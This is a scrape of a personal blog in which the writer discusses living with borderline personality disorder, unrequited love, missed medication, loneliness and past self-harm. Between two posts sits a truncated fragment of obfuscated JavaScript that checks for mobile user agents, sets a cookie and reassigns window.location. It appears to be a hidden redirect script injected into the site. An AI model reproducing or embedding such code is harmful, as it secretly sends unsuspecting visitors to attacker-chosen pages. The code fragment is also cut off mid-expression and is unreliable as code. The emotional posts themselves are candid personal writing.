Putting Yourself First aka The You Matter Too Blog

I’ve always seen my own value through the eyes of others. I’ve tried to be the best friend/confidant I can be. I take pride on always being there for my loved ones, my friends, hell even strangers. I don’t like knowing anyone is suffering or in pain. I like to think the best thing about me is my compassion, my empathy for others.

Mind you, I haven’t always been the best friend either. There’s been plenty of times I’ve had my head stuck up my own ass that I couldn’t see outside my walls and bubbles I live in when the time calls for it. But that doesn’t mean I don’t care. It doesn’t mean that I don’t love you. But sometimes I have to put myself first.

In fact, I should do it more often. Continue reading

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If only it was that easy

If only it was that easy to pretend I don’t care. That I dream of having a life together. I wake with the taste of her on my lips and still warm from her embrace. 

If only if it was easy for two people who adore one another to just get past the obstacles and just be together, for they’re both at their best when they are side by side. 

If only I could move on. If I even want to. I love her. So it’s not something I can just switch off. A friend told me I’m wasting my time waiting for her. But the thing is, she’s never asked me to. I’m only waiting because of how I feel about her. How she makes me feel. 

If only it was that easy to be with the one you love. Maybe this is my penance. Maybe it’s karma for all the dodgy shit I’ve done. I deserve to love and be loved. But then again it’s never proved to be something that ever comes easy for me. 

I know I’m full on. I’m intense. Emotions are like that for me and they always will be. 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Happiness

I believe happiness brings out the best in a person. So why don’t more people try to be happy? Perhaps you like to wallow in sadness because at least you know you’re still alive. But is that really the right way to go about it?

I’ve always been the kind of person who waits. I wait for the right opportunity. I wait for the one I love to choose me. I wait for things to get better. But you have come to realise is that I’m worth more than that and if I really want to be happy I have to be the one to make it happen. Just because I love someone doesn’t mean they have to love me back. And even if they do, am I supposed to wait for them? Or do I just do what’s best for me and keep moving forward and hope for the best?

The problem with being someone who waits is that I’ve noticed how bloody impatient I am. I’m getting on in years and I’m done wasting my time. I deserve something special and a life to call my own. I need to move away from where I’m staying. I need a fresh start. I just need something… Different. 

I am special, odd and unique. I have so much to give. It’s time I reminded myself of that and keep moving forward. Even if I sometimes have to drag myself kicking and screaming. 

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Being Mental is Fun!

Hey all. I hope everyone is well. Myself? Well today I’m not entirely sure. The old brain is playing games with me. I’m thinking about her again. I haven’t heard from her in a month. I guess I’m invested in someone again. Which sucks because I get all insecure. I’m so used to being self reliant, not letting anyone get too close. But noooo I had to be silly and open up again. 

Not that opening up is a bad thing. In theory it’s a fantastic thing. Actually it feels fantastic! But it’s all the bad stuff that comes with it. I ALWAYS fall for women who are unavailable. Or taken. Usually taken. 

I’m such a fuckin idiot. 

I don’t know what to do. I don’t know anything right now. I’m sure I’ll be okay later. Being crazy is fun isn’t it? Turning mountains into molehills is great! Obsessing over shit is fantastic. Not being able to sleep is wonderful! 

I’m sorry if this blog comes across as me complaining. I suppose I am, but fuck it I need to get shit off my chest. It’s really shit not having anyone to talk to. Well there is my psychiatrist, but I never seem to be going through anything dramatic when I have my monthly teleconference. One of the great advantages of being in the Disability pension is being able to have free teleconferences. It took me years to find a half decent shrink. Finding a good GP is nigh on impossible. Doctors wanna throw pills at you and not actually get to what the actual problems are. 

I suppose I’m still living with a lot of the past stuff. My self confidence comes and goes. I hate feeling so fucking insecure. Some days I’m tops. I can conquer the world and everything I touch turns to gold. But there’s always the inevitable crash. And my God doesn’t it suck! Those are the days where I could sleep all day. It’s better than slicing myself up like I used to. In a way I’m lucky that I cut myself in places that are not easily to see. I’m just imaging the looks I could get having scars all over the place. 

Ugh I’m just thinking too much like always. 

I’ll try and write more. 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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Sometimes it’s too much aka the Bursting at the seams blog

One of the biggest issues I have in my struggles with Borderline Personality is the overwhelming nature of everything I feel. I’m talking every single thing I feel. It’s all or nothing. It’s so damn frustrating. I hate it. It’s like I can see how I’m behaving or where my mind is taking me and I’m just a damn passenger. I alienate so many people in my life. People whom I like I push away. Or I scare them off. Or I try just so damn hard to make them like me. God I hate it. Continue reading

The End Times aka The Ain’t BPD Grand Blog

Hey guys,

Well it’s been 3 nights in a row that I’ve forgotten my meds and I think I’m starting to feel the effects of it. Or perhaps I’m just having a long overdue emotional cluster-fuck. Sometimes I wonder how I would be without my meds, I know I’d certainly be sharper, but I definitely don’t want to go back to being so erratic. I describe it best as being super ultra sharp and mega focused but suddenly you change tact and you can’t focus on a single thing with any form of clarity.

Prepare for a lot of tangents on this one folks.

Welcome to the End Times. Continue reading

Untitled.

I don’t want to lie here thinking about you.
I don’t want to wonder what I must have done wrong because that’s the only possible reason you haven’t been talking to me lately.
I hate being this self absorbed but I cannot help it.
I don’t want to have a thought about you come creeping into my head while I’m trying to sleep.
I don’t want you invading my dreams just to taunt me further.
I cannot deny I’m crazy about you.
Hell maybe I’m actually crazy.
I needed to get this out of my system.
I need to know you’re okay.
I need you to say something, even if it’s just something horrible like “I’m sorry Adam I can’t talk to you anymore”
I used to think ignorance is bliss but it’s the silence that kills me.
I hate feeling so god damn needy.
I hate how starved for love I must be, that on the rare occasions I actually feel something it becomes something that swallows me whole and makes me so damn insecure.
I want to slow down and take a deep breath but I don’t know how. It’s never really been my style.
I hate being so damn intense.
Maybe it’s a subconscious way of self sabotaging a future relationship.
Or maybe, just maybe, I just think way too fucking much.
I don’t want to write soppy romantic poetry that doesn’t even touch the surface of how this feels for me sometimes.
I just want a chance to make you happy.
I just want you.

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BPD and those pesky emotions.

bfmh14-copy2Hey guys,

I know it’s been a long time between posts but to be honest I’ve been working on much more important things like getting my shit together. Now I find myself in a familiar situation and I’m compelled to write about it. But first I’d llike to educate some of you as to what BPD actually is. Buckle up folks, this one is a long one. Continue reading